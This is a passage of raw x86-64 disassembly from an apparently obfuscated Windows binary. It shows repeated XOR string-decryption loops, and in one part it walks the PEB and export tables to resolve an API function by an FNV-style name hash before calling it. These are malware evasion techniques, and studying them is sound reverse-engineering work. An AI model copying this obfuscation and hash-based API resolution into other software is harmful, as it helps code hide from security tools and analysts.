packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x112c]
xorps xmm2, xmm1
movd dword [rbp + 0x112c], xmm2
movdqa xmm1, xmm14
punpckldq xmm1, xmm14
pmuldq xmm1, xmm6
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm14
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm14
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1130]
xorps xmm2, xmm1
movd dword [rbp + 0x1130], xmm2
mov r8d, 0x14
mov eax, r8d
lea r9, [rbp + 0x1120]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x140009e00
cmp byte [rbp + 0xe87], 0
je 0x140009ef2
mov r8d, edi
cmp r13d, 2
jl 0x140009eb1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm10
movd xmm0, dword [rbp + 0xe84]
xorps xmm1, xmm0
movd dword [rbp + 0xe84], xmm1
jmp 0x140009ef2
lea r9, [rbp + 0xe84]
nop dword [rax + rax]
mov eax, 0xc0e07039
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 6
movsx eax, al
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140009ec0
mov rdx, rbx
lea rcx, [rbp + 0xaf0]
call fcn.1400180f0
mov r10, rax
cmp byte [rbp + 0x10bd], 0
je 0x14000a0b3
mov r8d, edi
cmp r13d, 2
jl 0x14000a070
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm7
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd eax, xmm10
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x10b0]
xorps xmm2, xmm1
movd dword [rbp + 0x10b0], xmm2
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x10b4]
xorps xmm2, xmm1
movd dword [rbp + 0x10b4], xmm2
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x10b8]
xorps xmm2, xmm1
movd dword [rbp + 0x10b8], xmm2
mov r8d, 0xc
mov eax, r8d
lea r9, [rbp + 0x10b0]
add r9, rax
nop dword [rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x14000a080
mov r8, r10
lea rdx, [rbp + 0x10b0]
lea rcx, [rbp + 0xad0]
call fcn.140018600
nop
lea r8, [rbp + 0xe84]
mov rdx, rax
lea rcx, [rbp + 0xab0]
call fcn.140018490
nop
mov rbx, qword [rax + 0x10]
mov rcx, rax
call fcn.140017db0
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1828]
call fcn.140017f70
nop
lea rcx, [rbp + 0xab0]
call fcn.140018090
nop
lea rcx, [rbp + 0xad0]
call fcn.140018090
nop
lea rcx, [rbp + 0xaf0]
call fcn.140018090
cmp byte [rbp + 0x10bd], 0
jne 0x14000a2d3
mov r8d, edi
cmp r13d, 2
jl 0x14000a292
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm7
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd eax, xmm10
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x10b0]
xorps xmm2, xmm1
movd dword [rbp + 0x10b0], xmm2
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x10b4]
xorps xmm2, xmm1
movd dword [rbp + 0x10b4], xmm2
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x10b8]
xorps xmm2, xmm1
movd dword [rbp + 0x10b8], xmm2
mov r8d, 0xc
mov eax, r8d
lea r9, [rbp + 0x10b0]
add r9, rax
nop
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x14000a2a0
cmp byte [rbp + 0xe87], 0
jne 0x14000a392
mov r8d, edi
cmp r13d, 2
jl 0x14000a351
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm10
movd xmm0, dword [rbp + 0xe84]
xorps xmm1, xmm0
movd dword [rbp + 0xe84], xmm1
jmp 0x14000a392
lea r9, [rbp + 0xe84]
nop dword [rax + rax]
mov eax, 0xc0e07039
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 6
movsx eax, al
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x14000a360
cmp byte [rbp + 0x1cc2], 0
je 0x14000a503
mov r8d, edi
cmp r13d, 2
jl 0x14000a4b5
movdqa xmmword [rbp + 0xe0], xmm10
lea rcx, [rbp + 0x1c9c]
mov edx, dword [rbp + 0xe0]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14000a3c2
cmp r8d, 0x2b
jge 0x14000a503
movsxd rax, r8d
lea r9, [rbp + 0x1c98]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2b
jl 0x14000a4d0
lea rax, [rbp + 0x1c98]
mov r8, r12
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000a510
lea rdx, [rbp + 0x1c98]
lea rcx, [rbp + 0x1828]
call fcn.140017f70
cmp byte [rbp + 0x1cc2], 0
jne 0x14000a693
mov r8d, edi
cmp r13d, 2
jl 0x14000a653
movdqa xmmword [rbp + 0xe0], xmm10
lea rcx, [rbp + 0x1c9c]
mov edx, dword [rbp + 0xe0]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14000a560
cmp r8d, 0x2b
jge 0x14000a693
movsxd rax, r8d
lea r9, [rbp + 0x1c98]
add r9, rax
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2b
jl 0x14000a660
lea rdx, [rbp + 0x1828]
lea rcx, [rbp + 0xa90]
call fcn.140018130
mov rcx, rax
call fcn.140002100
xor edx, edx
lea rcx, [rbp + 0x1828]
call fcn.140017dc0
nop
lea rcx, [rbp + 0x1828]
call fcn.140018090
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x14000a756
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x14000a756
mov ebx, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x8d5f4eac
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14000a751
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14000a730
cmp r8d, 0x8f24390f
je 0x14000a75b
test r9d, r9d
jne 0x14000a710
mov rax, qword [rax]
jmp 0x14000a6e0
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov eax, dword [rsi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0x64
call rdx
lea rcx, [rbp + 0x1768]
call fcn.140017db0
mov rbx, rax
mov rcx, r15
call fcn.140017db0
mov rdx, rax
lea rcx, [rbp + 0x1848]
call fcn.1400180f0
nop
mov rdx, rbx
lea rcx, [rbp + 0x18a8]
call fcn.1400180f0
nop
lea rcx, [rbp + 0x18c8]
call fcn.140018250
nop
mov eax, dword [str.4_6_]
mov dword [rbp + 0x10], eax
movzx eax, word [0x14001b7e4]
mov word [rbp + 0x14], ax
mov byte [rbp + 0x10], 0x63
xor byte [rbp + 0x11], 0x58
xor byte [rbp + 0x12], 0x59
xor byte [rbp + 0x13], 0x5a
xor al, 0x5b
mov byte [rbp + 0x14], al
xor byte [rbp + 0x15], 0x5c
lea rax, [rbp + 0x10]
mov r8, r12
inc r8
cmp byte [rax + r8], 0
jne 0x14000a7f1
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x18c8]
call fcn.140017f70
lea rcx, [rbp + 0x1848]
call fcn.140017db0
mov r8, r12
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000a820
mov rdx, rax
lea rcx, [rbp + 0x18c8]
call fcn.140017f70
mov eax, dword [str.wu6z_]
mov dword [rbp - 0x48], eax
movzx eax, byte [0x14001b6e0]
mov byte [rbp - 0x48], 0x20
xor byte [rbp - 0x47], 0x58
xor byte [rbp - 0x46], 0x59
xor byte [rbp - 0x45], 0x5a
xor al, 0x5b
mov byte [rbp - 0x44], al
lea rax, [rbp - 0x48]
mov r8, r12
inc r8
cmp byte [rax + r8], 0
jne 0x14000a865
lea rdx, [rbp - 0x48]
lea rcx, [rbp + 0x18c8]
call fcn.140017f70
lea rcx, [rbp + 0x18a8]
call fcn.140017db0
mov r8, r12
nop
inc r8
cmp byte [rax + r8], 0
jne 0x14000a890
mov rdx, rax
lea rcx, [rbp + 0x18c8]
call fcn.140017f70
movsd xmm0, qword [str.wut_2080_]
movsd qword [rbp + 0xa8], xmm0
movzx eax, word [0x14001bc00]
mov word [rbp + 0xb0], ax
cmp byte [0x14001bc01], 0
je 0x14000a916